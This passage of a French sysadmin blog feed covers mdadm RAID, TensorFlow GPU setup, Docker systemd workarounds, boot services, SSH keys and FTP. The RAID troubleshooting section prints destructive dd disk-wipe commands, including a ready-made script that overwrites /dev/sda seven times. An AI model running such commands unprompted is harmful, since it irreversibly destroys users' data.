</code></pre><p>Créer un point de montage pour le nouveau filesystem:</p>
<pre tabindex="0"><code>sudo mkdir -p /mnt/md0
</code></pre><p>Monter le nouveau filesystem:</p>
<pre tabindex="0"><code>sudo mount /dev/md0 /mnt/md0
</code></pre><p>Vérifier qu&rsquo;il est bien accessible:</p>
<pre tabindex="0"><code>df -h -x devtmpfs -x tmpfs
</code></pre><p>Pour que le Array soit automatiquement ré-assemblé à chaque reboot, on peut modifier le fichier de configuration de mdadm:</p>
<pre tabindex="0"><code>sudo mdadm --detail --scan | sudo tee -a /etc/mdadm/mdadm.conf
</code></pre><p>Rendre le Array accessible durant la phases de early boot en mettant <code>initramfs</code> (initial RAM file system) à jour:</p>
<pre tabindex="0"><code>sudo update-initramfs -u
</code></pre><p>Ajouter le disque raid dans fstab:</p>
<pre tabindex="0"><code>echo &#39;/dev/md0 /mnt/md0 ext4 defaults,nofail,discard 0 0&#39; | sudo tee -a /etc/fstab
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p>Voir le(s) raid(s) existant(s):</p>
<pre tabindex="0"><code>cat /proc/mdstat
</code></pre><p>Supprimer un raid:</p>
<pre tabindex="0"><code>sudo umount /dev/md0
mdadm -S /dev/md0
mdadm --remove /dev/md0
# Vérifier qu&#39;il n&#39;est pas présent dans /etc/fstab
</code></pre><p>Examiner les superblocks:</p>
<pre tabindex="0"><code>sudo mdadm -E /dev/sdd
</code></pre><p>Effacer les superblocks:</p>
<pre tabindex="0"><code>sudo mdadm --zero-superblock /dev/sdd
</code></pre><p>Lister les disques:</p>
<pre tabindex="0"><code>lsblk -o NAME,SIZE,FSTYPE,TYPE,MOUNTPOINT
</code></pre><p>Wiping the entire disk:</p>
<pre tabindex="0"><code>dd if=/dev/zero of=/dev/sdX bs=1M
</code></pre><br/>
<p>Bonus 1: Wiping the entire disk for security reasons (plus long):</p>
<pre tabindex="0"><code>dd if=/dev/urandom of=/dev/sdX bs=1M
</code></pre><blockquote>
<p>When you delete a file or format a hard drive you are basically just telling the computer that it can use this portion of the disk again if it is needed. If that portion of the disk is not every written over again. The data will remain indefinitely. So, in order to make deleted data unrecoverable we must write over it.</p></blockquote>
<blockquote>
<p>If you are really paranoid or just want to be ultra secure you could write over the drive 7 times with random data. This is the same procedure the US Government uses to secure its own data.</p></blockquote>
<p>Cadeau, le script associé:</p>
<pre tabindex="0"><code>#!/bin/bash 
for n in `seq 7`; do dd if=/dev/urandom of=/dev/sda bs=8b conv=notrunc; done
# chmod a+x wipeIt
</code></pre><br/>
<p>Bonus 2: Voir la progression de dd</p>
<pre tabindex="0"><code>Option 1:
sudo dd if=/dev/zero of=/dev/sdX bs=1M status=progress

Option 2:
# Dans un 1er terminal
sudo dd if=/dev/zero of=/dev/sdX bs=1M
 
# Dans un second terminal on récupère le pid du process dd et on le kill toutes les 10s
while sudo kill -USR1 `pidof dd` ; do sleep 10 ; done
 
# Retourner dans le 1er terminal pour voir la progression
# On voir que formater plusieurs tera de cette façon peut prendre pas mal de temps... 
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Tensorflow 2 sur Ubuntu 18.04 et un GPU Nvidia GTX 1080</title>
            <link>https://leandeep.com/installer-tensorflow-2-sur-ubuntu-18.04-et-un-gpu-nvidia-gtx-1080/</link>
            <pubDate>Wed, 25 Sep 2019 22:39:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-tensorflow-2-sur-ubuntu-18.04-et-un-gpu-nvidia-gtx-1080/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Voici la procédure permettant d&amp;rsquo;installer Tensorflow 2 (RC2) sur Ubuntu 18.04 avec une carte graphique Nvidia GTX 1080 dans un eGPU Razer.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Avant de démarrer je conseille de faire un backup de votre machine. On n&amp;rsquo;est jamais trop prudent avec l&amp;rsquo;installation des Drivers. Cela prend 1 minutes et en cas de problème, vous pourrez faire un rollback en 2 minutes.&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;p&gt;Créer un snapshot:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Installation de Timeshift
sudo apt-add-repository -y ppa:teejee2008/ppa &amp;amp;&amp;amp; sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install timeshift
# Créer un snapshot 
# sudo timeshift --create --comments &amp;#34;before cuda installation&amp;#34; --tags D
# Voir les snapshots
sudo timeshift --list
# Restaurer un snapshot 
# sudo timeshift --restore
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Pour démarrer Timeshift en mode graphique, il suffit d&amp;rsquo;exécuter la commande &lt;code&gt;sudo timeshift-gtk&lt;/code&gt;. Timeshift est un bon outil mais ne permet pas les raids en backup destination. Je vais donc personnellement en recherche d&amp;rsquo;une alternative&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Voici la procédure permettant d&rsquo;installer Tensorflow 2 (RC2) sur Ubuntu 18.04 avec une carte graphique Nvidia GTX 1080 dans un eGPU Razer.</p>
<br/>
<h2 id="installation">Installation</h2>
<blockquote>
<p>Avant de démarrer je conseille de faire un backup de votre machine. On n&rsquo;est jamais trop prudent avec l&rsquo;installation des Drivers. Cela prend 1 minutes et en cas de problème, vous pourrez faire un rollback en 2 minutes.</p></blockquote>
<br/>
<p>Créer un snapshot:</p>
<pre tabindex="0"><code># Installation de Timeshift
sudo apt-add-repository -y ppa:teejee2008/ppa &amp;&amp; sudo apt-get update &amp;&amp; sudo apt-get install timeshift
# Créer un snapshot 
# sudo timeshift --create --comments &#34;before cuda installation&#34; --tags D
# Voir les snapshots
sudo timeshift --list
# Restaurer un snapshot 
# sudo timeshift --restore
</code></pre><blockquote>
<p>Pour démarrer Timeshift en mode graphique, il suffit d&rsquo;exécuter la commande <code>sudo timeshift-gtk</code>. Timeshift est un bon outil mais ne permet pas les raids en backup destination. Je vais donc personnellement en recherche d&rsquo;une alternative&hellip;</p></blockquote>
<br/>
<p>Installer le Driver Nvidia:</p>
<pre tabindex="0"><code># Ajouter le repository Nvidia
wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-repo-ubuntu1804_10.0.130-1_amd64.deb
sudo dpkg -i cuda-repo-ubuntu1804_10.0.130-1_amd64.deb
# Ajouter le repository Cuda
sudo apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/7fa2af80.pub
# Ajouter le repository Nvidia Machine-Learning
wget http://developer.download.nvidia.com/compute/machine-learning/repos/ubuntu1804/x86_64/nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb
sudo apt install ./nvidia-machine-learning-repo-ubuntu1804_1.0.0-1_amd64.deb
# Mise à jour de la liste des paquets avec les nouveaux repo
sudo apt-get update

# Installation du driver NVIDIA
sudo apt-get install --no-install-recommends nvidia-driver-418
</code></pre><p>Redémarrer votre machine.</p>
<br/>
<p>Activer le boitier eGPU branché au câble thunderbolt sur Ubuntu:</p>
<pre tabindex="0"><code>lspci | grep -i nvidia
# Si rien ne s&#39;affiche alors que votre boitier eGPU est bien branché à votre PC, c&#39;est sans doute que le port Thunderbolt n&#39;est pas autorisé à être utilisé. Pour ce faire:
sudo sh -c &#39;echo 1 &gt; /sys/bus/thunderbolt/devices/0-3/authorized&#39;
# Dans mon cas j&#39;ai exécuté les commandes suivantes:
# sudo sh -c &#39;echo 1 &gt; /sys/bus/thunderbolt/devices/0-0/authorized&#39;
# sudo sh -c &#39;echo 1 &gt; /sys/bus/thunderbolt/devices/0-1/authorized&#39;

lspci | grep -i nvidia
# Si le thunderbolt est bien activé et que les drivers sont bien pris en compte, vous devriez voir ceci:

06:00.0 VGA compatible controller: NVIDIA Corporation GP104 [GeForce GTX 1080] (rev a1)
06:00.1 Audio device: NVIDIA Corporation GP104 High Definition Audio Controller (rev a1)
</code></pre><p>Vérifier maintenant que le GPU est bien visible via la commande <code>nvidia-smi</code>.</p>
<br/>
<p>Installer les librairies de développement et d&rsquo;exécution de cuda (~4GB)</p>
<pre tabindex="0"><code>sudo apt-get install --no-install-recommends \
    cuda-10-0 \
    libcudnn7=7.6.2.24-1+cuda10.0  \
    libcudnn7-dev=7.6.2.24-1+cuda10.0
</code></pre><br/>
<p>Installer TensorRT. (libcudnn7 au-dessus doit être installé)</p>
<pre tabindex="0"><code>sudo apt-get install -y --no-install-recommends libnvinfer5=5.1.5-1+cuda10.0 \
    libnvinfer-dev=5.1.5-1+cuda10.0
</code></pre><br/>
<p>Installer virtualenvwrapper:</p>
<pre tabindex="0"><code>sudo apt install python python-pip python3
sudo pip uninstall virtualenvwrapper
</code></pre><br/>
<p>Ajouter les lignes suivantes dans votre <code>~/.zshrc</code>:</p>
<pre tabindex="0"><code>export WORKON_HOME=~/.virtualenvs
source /usr/local/bin/virtualenvwrapper.sh
</code></pre><br/>
<p>Reloader votre shell:</p>
<pre tabindex="0"><code>source ~/.zshrc
</code></pre><br/>
<p>Créer un virtualenv:</p>
<pre tabindex="0"><code>mkvirtualenv -p /usr/bin/python3 -a . test_env
</code></pre><br/>
<p>Installation de Tensorflow GPU</p>
<pre tabindex="0"><code>pip install tensorflow-gpu==2.0.0rc2
</code></pre><br/>
<p>Vérifier le bon fonctionnement de Tensorflow 2 en entrant le code suivant de votre Terminal ou dans Jupyter lab:</p>
<pre tabindex="0"><code>python
&gt;&gt;&gt; import tensorflow
&gt;&gt;&gt; from tensorflow.python.client import device_lib
&gt;&gt;&gt; print(device_lib.list_local_devices())

[name: &#34;/device:CPU:0&#34;
device_type: &#34;CPU&#34;
memory_limit: 268435456
locality {
}
incarnation: 9076345463573208199
, name: &#34;/device:XLA_CPU:0&#34;
device_type: &#34;XLA_CPU&#34;
memory_limit: 17179869184
locality {
}
incarnation: 5504146488139860193
physical_device_desc: &#34;device: XLA_CPU device&#34;
, name: &#34;/device:XLA_GPU:0&#34;
device_type: &#34;XLA_GPU&#34;
memory_limit: 17179869184
locality {
}
incarnation: 18444695170601526018
physical_device_desc: &#34;device: XLA_GPU device&#34;
, name: &#34;/device:GPU:0&#34;
device_type: &#34;GPU&#34;
memory_limit: 7975714816
locality {
  bus_id: 1
  links {
  }
}
incarnation: 3513023963840157056
physical_device_desc: &#34;device: 0, name: GeForce GTX 1080, pci bus id: 0000:06:00.0, compute capability: 6.1&#34;
]
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Synchroniser votre DNS avec des IP dynamiques</title>
            <link>https://leandeep.com/synchroniser-votre-dns-avec-des-ip-dynamiques/</link>
            <pubDate>Tue, 17 Sep 2019 17:39:19 +0000</pubDate>
            
            <guid>https://leandeep.com/synchroniser-votre-dns-avec-des-ip-dynamiques/</guid>
            <description>&lt;p&gt;J&amp;rsquo;ai créé une petite image Docker permettant de mettre à jour l&amp;rsquo;IP publique de son instance sur Cloudflare.
Même s&amp;rsquo;il existe des Elastic IP (EIP), cela peut parfois être utile de ne pas les utiliser si votre instance est presque tout le temps éteinte. Comme on ne paye les EIP que lorsqu&amp;rsquo;elles ne sont pas attachées à des instances qui tournent cela peut faire grimper la facture inutilement; surtout quand on a pas mal d&amp;rsquo;instances dans cet état.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>J&rsquo;ai créé une petite image Docker permettant de mettre à jour l&rsquo;IP publique de son instance sur Cloudflare.
Même s&rsquo;il existe des Elastic IP (EIP), cela peut parfois être utile de ne pas les utiliser si votre instance est presque tout le temps éteinte. Comme on ne paye les EIP que lorsqu&rsquo;elles ne sont pas attachées à des instances qui tournent cela peut faire grimper la facture inutilement; surtout quand on a pas mal d&rsquo;instances dans cet état.</p>
<p>Bref avec l&rsquo;image Docker suivante <code>docker pull oeeckhoutte/cloudflare-dns</code> vous pouvez si vous avez un startup script toujours avoir accès à votre instance via votre DNS chez cloudflare.</p>
<br/>
<p>Le code source est accessible sur Github à <a href="https://github.com/oeeckhoutte/cloudflare-dns-update-server-startup">l&rsquo;adresse suivante</a></p>
<p>Si éventuellement vous avez besoin d&rsquo;un startup script je vous renvoie <a href="https://leandeep.com/cr%C3%A9er-un-script-qui-se-lance-au-d%C3%A9marrage-de-centos-7/">sur un précédent article que j&rsquo;avais écrit</a>.</p>
<br/>
<p>Pour utiliser cette image il suffit d&rsquo;exécuter la commande suivante:</p>
<pre tabindex="0"><code>docker run --rm -e CF_API_KEY=&#39;0000000000000000000000000000000000000&#39; -e CF_API_EMAIL=&#39;your.email@domain.com&#39; -e DNS_TO_UPDATE=&#39;your_dns_or_subdns&#39; -it cloudflare-dns
</code></pre><br/>
<p>Have fun.</p>
]]></content>
        </item>
        
        <item>
            <title>Créer une VM de dev Windows avec Vagrant</title>
            <link>https://leandeep.com/cr%C3%A9er-une-vm-de-dev-windows-avec-vagrant/</link>
            <pubDate>Mon, 16 Sep 2019 12:56:00 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-une-vm-de-dev-windows-avec-vagrant/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment installer en quelques secondes une VM Windows 10 de développement. Cet article fait suite à un premier que j&amp;rsquo;avais écrit mais pour Windows: &lt;a href=&#34;https://leandeep.com/creer-une-vm-de-dev-pour-ansible-avec-vagrant/&#34;&gt;https://leandeep.com/creer-une-vm-de-dev-pour-ansible-avec-vagrant/&lt;/a&gt; . L&amp;rsquo;idée est d&amp;rsquo;avoir une VM de test pour réaliser 2 ou 3 tâches de dev et de la détruire une fois que c&amp;rsquo;est terminé.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;marketplace&#34;&gt;Marketplace&lt;/h2&gt;
&lt;p&gt;Chercher une box Windows sur la marketplace de Vagrant.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://app.vagrantup.com/boxes/search?utf8=%E2%9C%93&amp;amp;sort=downloads&amp;amp;provider=&amp;amp;q=windows&#34;&gt;https://app.vagrantup.com/boxes/search?utf8=%E2%9C%93&amp;sort=downloads&amp;provider=&amp;q=windows&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Attention à ce que vous trouvez sur la Marketplace. Les box que vous téléchargez peuvent contenir des virus ou autres codes malveillants. Idem pour les images Docker que vous trouvez sur le net ou sur Dockerhub&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment installer en quelques secondes une VM Windows 10 de développement. Cet article fait suite à un premier que j&rsquo;avais écrit mais pour Windows: <a href="https://leandeep.com/creer-une-vm-de-dev-pour-ansible-avec-vagrant/">https://leandeep.com/creer-une-vm-de-dev-pour-ansible-avec-vagrant/</a> . L&rsquo;idée est d&rsquo;avoir une VM de test pour réaliser 2 ou 3 tâches de dev et de la détruire une fois que c&rsquo;est terminé.</p>
<br/>
<h2 id="marketplace">Marketplace</h2>
<p>Chercher une box Windows sur la marketplace de Vagrant.</p>
<p><a href="https://app.vagrantup.com/boxes/search?utf8=%E2%9C%93&amp;sort=downloads&amp;provider=&amp;q=windows">https://app.vagrantup.com/boxes/search?utf8=%E2%9C%93&sort=downloads&provider=&q=windows</a></p>
<blockquote>
<p>Attention à ce que vous trouvez sur la Marketplace. Les box que vous téléchargez peuvent contenir des virus ou autres codes malveillants. Idem pour les images Docker que vous trouvez sur le net ou sur Dockerhub&hellip;</p></blockquote>
<br/>
<h2 id="pré-requis">Pré-requis:</h2>
<ul>
<li>Vagrant installé</li>
<li>Virtualbox installé</li>
</ul>
<br/>
<h2 id="création-de-la-vm">Création de la VM</h2>
<p>Dans un répertoire de développement, créer un fichier appelé <code>Vagrantfile</code> et insérer le contenu suivant:</p>
<pre tabindex="0"><code>Vagrant.configure(&#34;2&#34;) do |config|
  config.vm.box = &#34;vdelarosa/windows-10&#34;
end
</code></pre><p>Executez la commande <code>vagrant up</code> et voilà la VM que vous avez trouvé sur la Marketplace va se provisioner et se lancer automatiquement. Il vous faudra une bonne connexion internet car les VMs Windows sont tout sauf légères.</p>
<blockquote>
<p>Pour vous connecter à la VM Windows les crédentials par défaut sont les suivants: <code>vagrant / vagrant</code>. <strong>Attention au clavier en qwerty ;)</strong></p></blockquote>
<br/>
<h2 id="clean-boxes">Clean boxes</h2>
<p>Cela peut être utile d&rsquo;effacer les boxes téléchargées pour faire de l&rsquo;espace sur votre poste.</p>
<pre tabindex="0"><code>vagrant box list
vagrant box remove -f [name]
</code></pre><p>Si cela ne fonctionne pas, tout ce qui est téléchargé lors du provisioning va dans ce répertoire: <code>~/.vagrant.d/boxes</code> (sur Mac)&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Démarrer simplement des services systemd sur Docker et Centos 7</title>
            <link>https://leandeep.com/d%C3%A9marrer-simplement-des-services-systemd-sur-docker-et-centos-7/</link>
            <pubDate>Sun, 15 Sep 2019 19:33:17 +0000</pubDate>
            
            <guid>https://leandeep.com/d%C3%A9marrer-simplement-des-services-systemd-sur-docker-et-centos-7/</guid>
            <description>&lt;p&gt;Cet article rapide explique comment faire un &lt;em&gt;workaround&lt;/em&gt; lorsqu&amp;rsquo;on essaye de faire un &lt;code&gt;systemctl status un_service&lt;/code&gt; dans un container Docker sur Centos (ou Ubuntu) avec Docker 19.03. Sans ce &lt;em&gt;workaround&lt;/em&gt; on obtient l&amp;rsquo;erreur suivante &lt;code&gt;Failed to get D-Bus connection: Operation not permitted&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Créer une image docker basée sur Centos 7:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# This shows systemd services (nginx and named) running in a centos7 container.
# There have been lots of problems and workarounds for this, see:
# https://hub.docker.com/_/centos/
# https://github.com/docker/docker/issues/7459

FROM centos:centos7

RUN yum install -y epel-release # for nginx
RUN yum install -y initscripts  # for old &amp;#34;service&amp;#34;

ENV container=docker

RUN (cd /lib/systemd/system/sysinit.target.wants/; for i in *; do [ $i == systemd-tmpfiles-setup.service ] || rm -f $i; done); \
rm -f /lib/systemd/system/multi-user.target.wants/*;\
rm -f /etc/systemd/system/*.wants/*;\
rm -f /lib/systemd/system/local-fs.target.wants/*; \
rm -f /lib/systemd/system/sockets.target.wants/*udev*; \
rm -f /lib/systemd/system/sockets.target.wants/*initctl*; \
rm -f /lib/systemd/system/basic.target.wants/*;\
rm -f /lib/systemd/system/anaconda.target.wants/*;

# named (dns server) service
RUN yum install -y bind bind-utils
RUN systemctl enable named.service 

# Unrelated to systemd, but Apacehe httpd install fails at least if docker uses
# (default) aufs.
#   Error unpacking rpm package httpd-2.4.6-40.el7.centos.x86_64
#   error: unpacking of archive failed on file /usr/sbin/suexec: cpio: cap_set_file
#RUN yum install -y httpd

# webserver service
RUN yum install -y nginx
RUN systemctl enable nginx.service

# Without this, init won&amp;#39;t start the enabled services and exec&amp;#39;ing and starting
# them reports &amp;#34;Failed to get D-Bus connection: Operation not permitted&amp;#34;.
VOLUME /run /tmp

# Don&amp;#39;t know if it&amp;#39;s possible to run services without starting this
CMD /usr/sbin/init
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Maintenant on crée un docker-compose.yml:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Cet article rapide explique comment faire un <em>workaround</em> lorsqu&rsquo;on essaye de faire un <code>systemctl status un_service</code> dans un container Docker sur Centos (ou Ubuntu) avec Docker 19.03. Sans ce <em>workaround</em> on obtient l&rsquo;erreur suivante <code>Failed to get D-Bus connection: Operation not permitted</code>.</p>
<p>Créer une image docker basée sur Centos 7:</p>
<pre tabindex="0"><code># This shows systemd services (nginx and named) running in a centos7 container.
# There have been lots of problems and workarounds for this, see:
# https://hub.docker.com/_/centos/
# https://github.com/docker/docker/issues/7459

FROM centos:centos7

RUN yum install -y epel-release # for nginx
RUN yum install -y initscripts  # for old &#34;service&#34;

ENV container=docker

RUN (cd /lib/systemd/system/sysinit.target.wants/; for i in *; do [ $i == systemd-tmpfiles-setup.service ] || rm -f $i; done); \
rm -f /lib/systemd/system/multi-user.target.wants/*;\
rm -f /etc/systemd/system/*.wants/*;\
rm -f /lib/systemd/system/local-fs.target.wants/*; \
rm -f /lib/systemd/system/sockets.target.wants/*udev*; \
rm -f /lib/systemd/system/sockets.target.wants/*initctl*; \
rm -f /lib/systemd/system/basic.target.wants/*;\
rm -f /lib/systemd/system/anaconda.target.wants/*;

# named (dns server) service
RUN yum install -y bind bind-utils
RUN systemctl enable named.service 

# Unrelated to systemd, but Apacehe httpd install fails at least if docker uses
# (default) aufs.
#   Error unpacking rpm package httpd-2.4.6-40.el7.centos.x86_64
#   error: unpacking of archive failed on file /usr/sbin/suexec: cpio: cap_set_file
#RUN yum install -y httpd

# webserver service
RUN yum install -y nginx
RUN systemctl enable nginx.service

# Without this, init won&#39;t start the enabled services and exec&#39;ing and starting
# them reports &#34;Failed to get D-Bus connection: Operation not permitted&#34;.
VOLUME /run /tmp

# Don&#39;t know if it&#39;s possible to run services without starting this
CMD /usr/sbin/init
</code></pre><p>Maintenant on crée un docker-compose.yml:</p>
<pre tabindex="0"><code>version: &#39;3&#39;
services:
  test:
    build:
      context: .
    cap_add:
      - SYS_ADMIN
    security_opt:
      - seccomp:unconfined
    volumes:
      - /sys/fs/cgroup:/sys/fs/cgroup:ro
    ports:
      - &#34;80:80&#34;
      # The DNS server works within container (dig @localhost example.com), but
      # *not* via published port. Not sure this is related to systemd.
      #- &#34;53:53/tcp&#34;
      #- &#34;53:53/udp&#34;
      
</code></pre><p>Et voilà. Buildez et démarrez votre container :</p>
<pre tabindex="0"><code>docker-compose build &amp;&amp; docker-compose down &amp;&amp; docker-compose up -d
</code></pre><p>Connectez vous à votre container et essayez de voir le status d&rsquo;un service:</p>
<pre tabindex="0"><code>docker ps # pour récupérer son id
# Puis 
docker exec -it ID_DU_CONTAINER /bin/bash
systemctl status nginx
</code></pre><p>Cela va fonctionner ;) &hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Créer un script qui se lance au démarrage de Centos 7</title>
            <link>https://leandeep.com/cr%C3%A9er-un-script-qui-se-lance-au-d%C3%A9marrage-de-centos-7/</link>
            <pubDate>Tue, 10 Sep 2019 18:10:11 +0000</pubDate>
            
            <guid>https://leandeep.com/cr%C3%A9er-un-script-qui-se-lance-au-d%C3%A9marrage-de-centos-7/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment créer un service systemd qui va s&amp;rsquo;exécuter automatiquement au démarrage d&amp;rsquo;une machine. L&amp;rsquo;IP de ma machine étant renouvelée à chaque redémarrage, je me sers de ce type de service pour mettre à jour automatiquement l&amp;rsquo;IP publique sur un de mes DNS.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;steps&#34;&gt;Steps&lt;/h2&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;/var/tmp/boot_script.sh&lt;/code&gt; qui contient le code suivant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/bin/bash
echo &amp;#34;Boot script sample&amp;#34; &amp;gt; /var/log/boot_script.log
echo &amp;#34;Started at `date`&amp;#34; &amp;gt;&amp;gt; /var/log/boot_script.log
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Donner au script des droits d&amp;rsquo;exécution:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment créer un service systemd qui va s&rsquo;exécuter automatiquement au démarrage d&rsquo;une machine. L&rsquo;IP de ma machine étant renouvelée à chaque redémarrage, je me sers de ce type de service pour mettre à jour automatiquement l&rsquo;IP publique sur un de mes DNS.</p>
<br/>
<h2 id="steps">Steps</h2>
<p>Créer un fichier <code>/var/tmp/boot_script.sh</code> qui contient le code suivant:</p>
<pre tabindex="0"><code>#!/bin/bash
echo &#34;Boot script sample&#34; &gt; /var/log/boot_script.log
echo &#34;Started at `date`&#34; &gt;&gt; /var/log/boot_script.log
</code></pre><p>Donner au script des droits d&rsquo;exécution:</p>
<pre tabindex="0"><code>chmod +x /var/tmp/boot_script.sh
</code></pre><p>Créer une nouveau service systemd. Pour ce faire créer un fichier dans le répertoire <code>/etc/systemd/system/</code> et appelé le <code>boot_script.service</code> par exemple. Insérer le contenu suivant dans votre nouveau fichier:</p>
<pre tabindex="0"><code>[Unit]
Description=Description de ce que fait le script ici
After=network.target

[Service]
Type=simple
ExecStart=/var/tmp/boot_script.sh
TimeoutStartSec=0

[Install]
WantedBy=default.target
</code></pre><br/>
<p>Reloader le process systemd pour que notre nouveau service soit pris en compte:</p>
<pre tabindex="0"><code>systemctl daemon-reload
</code></pre><blockquote>
<p>Si vous modifiez ce service, il vous faudra également reloader systemd/</p></blockquote>
<br/>
<p>&ldquo;Activer&rdquo; le service pour qu&rsquo;il se lance automatiquement au démarrage de la machine:</p>
<pre tabindex="0"><code>systemctl enable boot_script.service
</code></pre><br/>
<p>Démarrer le service:</p>
<pre tabindex="0"><code>systemctl start boot_script.service
</code></pre><br/>
<p>Redémarrer votre machine pour vérifier que tout fonctionne bien.</p>
<pre tabindex="0"><code>systemctl reboot
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Get rid of .pem file to SSH on your AWS EC2 instance</title>
            <link>https://leandeep.com/get-rid-of-.pem-file-to-ssh-on-your-aws-ec2-instance/</link>
            <pubDate>Fri, 06 Sep 2019 11:39:00 +0000</pubDate>
            
            <guid>https://leandeep.com/get-rid-of-.pem-file-to-ssh-on-your-aws-ec2-instance/</guid>
            <description>&lt;p&gt;Let&amp;rsquo;s say you want to setup a Gitlab server on AWS and you need to do a &lt;code&gt;git clone&lt;/code&gt; using &lt;code&gt;SSH&lt;/code&gt; protocol. You will be annoyed by the &lt;code&gt;.pem&lt;/code&gt; file. To get rid of it (or more simply hide it) you can follow this procedure:&lt;/p&gt;
&lt;p&gt;The pem file contains a private key. Simply extract it and add it to your system.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;
&lt;strong&gt;Copy the private key to the .ssh folder&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Let&rsquo;s say you want to setup a Gitlab server on AWS and you need to do a <code>git clone</code> using <code>SSH</code> protocol. You will be annoyed by the <code>.pem</code> file. To get rid of it (or more simply hide it) you can follow this procedure:</p>
<p>The pem file contains a private key. Simply extract it and add it to your system.</p>
<p><br/>
<strong>Copy the private key to the .ssh folder</strong></p>
<pre tabindex="0"><code>cp /path/to/your/cert.pem ~/.ssh/id_rsa_gitlab_ec2
</code></pre><br/>
<p><strong>Generate a public key from the .pem file</strong></p>
<pre tabindex="0"><code>ssh-keygen -y -f /path/to/your/cert.pem &gt; ~/.ssh/id_rsa_gitlab_ec2.pub
</code></pre><br/>
<p><strong>Change private key file rights</strong></p>
<pre tabindex="0"><code>chmod 600 ~/.ssh/id_rsa_gitlab_ec2
</code></pre><br/>
<p><strong>Add the private key to ssh-agent</strong></p>
<pre tabindex="0"><code># Start ssh-agent
eval &#34;$(ssh-agent -s)&#34;

# Add your newly created key to the agent
ssh-add ~/.ssh/id_rsa_gitlab_ec2
</code></pre><br/>
<p><strong>Now try to connect to you EC2 instance via SSH</strong></p>
<pre tabindex="0"><code>ssh your_user@ec2-ip......amazonaws.com
</code></pre><br/>
<p>Try to <code>git clone ...</code>. All good !</p>
]]></content>
        </item>
        
        <item>
            <title>Installer en 30 secondes un bon vieux FTP sur Ubuntu</title>
            <link>https://leandeep.com/installer-en-30-secondes-un-bon-vieux-ftp-sur-ubuntu/</link>
            <pubDate>Fri, 06 Sep 2019 10:44:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-en-30-secondes-un-bon-vieux-ftp-sur-ubuntu/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Besoin de transférer des fichiers entre un Linux et Windows ? Problème, docker ne peut pas être installé sur Windows (à cause d&amp;rsquo;un processeur non compatible), cygwin gère mal le rsync, impossible d&amp;rsquo;écrire un shell script pour reprendre le téléchargement interrompu, le scp de Powershell fini par crasher tellement la quantité de données à transférer est énorme. Rien de tel qu&amp;rsquo;un bon vieux serveur FTP :D . Voici les commandes pour en installer un en 30s top chrono.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Besoin de transférer des fichiers entre un Linux et Windows ? Problème, docker ne peut pas être installé sur Windows (à cause d&rsquo;un processeur non compatible), cygwin gère mal le rsync, impossible d&rsquo;écrire un shell script pour reprendre le téléchargement interrompu, le scp de Powershell fini par crasher tellement la quantité de données à transférer est énorme. Rien de tel qu&rsquo;un bon vieux serveur FTP :D . Voici les commandes pour en installer un en 30s top chrono.</p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo aptitude install vsftpd
</code></pre><p>Editer le fichier <code>/etc/vsftpd.conf</code> et modifier la configuration avec les paramètres suivants:</p>
<pre tabindex="0"><code>anonymous_enable=NO
local_enable=YES
write_enable=YES
</code></pre><p>Et redémarrer le service pour prendre en compte les modifications.</p>
<pre tabindex="0"><code>sudo /etc/init.d/vsftpd restart
</code></pre><br/>
<h2 id="usage">Usage</h2>
<p>Via GUI avec le logiciel Filezilla <a href="https://filezilla-project.org/">https://filezilla-project.org/</a></p>
]]></content>
        </item>
        
        <item>
            <title>[NLP] 2 manières de générer des N-grams en Python </title>
